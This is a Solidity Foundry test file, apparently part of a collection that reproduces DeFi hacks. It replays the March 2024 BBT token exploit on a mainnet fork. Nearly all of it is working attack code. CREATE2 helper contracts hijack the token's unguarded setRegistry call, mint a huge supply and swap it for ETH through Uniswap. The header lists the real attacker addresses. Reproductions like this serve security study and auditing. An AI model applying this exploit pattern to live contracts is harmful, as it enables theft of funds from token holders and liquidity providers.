-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
BBT_exp.sol
139 lines (122 loc) · 4.89 KB
/
BBT_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo -- Total Lost : 5.06 ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0x4019890fe5a5bd527cd3b9f7ee6d94e55b331709b703317860d028745e33a8ca?line=4
// Attacker : https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54
// Attack Contract : https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5
// GUY : https://x.com/8olidity/status/1767470002566058088
interface BBtoken is IERC20 {
function setRegistry(
address _registry
) external;
function mint(address _user, uint256 _amount) external;
}
contract ContractTest is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address attacker;
function setUp() external {
// vm.createSelectFork("mainnet", 19417822);
cheats.createSelectFork("mainnet", 19_417_822); //fork mainnet at block 13715025
}
function testExploit() external {
address attacker = cal_address(0);
emit log_named_decimal_uint("[Begin] Attacker ETH before exploit", address(attacker).balance, 18);
attack();
emit log_named_decimal_uint("[End] Attacker ETH after exploit", address(attacker).balance, 18);
}
function attack() public {
create_contract(0);
}
function cal_address(
uint256 time
) internal returns (address) {
bytes memory bytecode = type(Money).creationCode;
uint256 _salt = time;
bytecode = abi.encodePacked(bytecode);
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
address hack_contract = address(uint160(uint256(hash)));
return hack_contract;
}
function create_contract(
uint256 times
) internal returns (address) {
bytes memory bytecode = type(Money).creationCode;
uint256 _salt = times;
bytecode = abi.encodePacked(bytecode);
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
address hack_contract = address(uint160(uint256(hash)));
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
return hack_contract;
}
}
contract Money is Test {
BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 BLM = IERC20(0xEa0abF7AB2F8f8435e7Dc4932FFaB37761267843);
IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 constant PRECISION = 10 ** 18;
address owner;
address xx;
constructor() {
owner = msg.sender;
attack();
}
function attack() public {
xx = create_contract(1);
BBT.setRegistry(xx);
BBT.mint(address(this), 10_000_000_000_000_000_000 ether);
BBT.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(BBT);
path[1] = address(WETH);
Router.swapExactTokensForETH(1_000_000_000_000_000_000_000_000_000_000, 0, path, address(this), block.timestamp);
address[] memory paths = new address[](4);
paths[0] = address(BBT);
paths[1] = address(BLM);
paths[2] = address(USDC);
paths[3] = address(WETH);
Router.swapExactTokensForETH(
1_000_000_000_000_000_000_000_000_000_000, 0, paths, address(this), block.timestamp
);
}
function create_contract(
uint256 times
) internal returns (address) {
bytes memory bytecode = type(Moneys).creationCode;
uint256 _salt = times;
bytecode = abi.encodePacked(bytecode);
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
address hack_contract = address(uint160(uint256(hash)));
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
return hack_contract;
}
fallback() external payable {}
}
contract Moneys is Test {
BBtoken BBT = BBtoken(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
uint256 constant PRECISION = 10 ** 18;
address owner;
address xx;
constructor() {
owner = msg.sender;
}
function getContractAddress(
string memory _name
) public returns (address) {
return owner;
}
fallback() external payable {}
}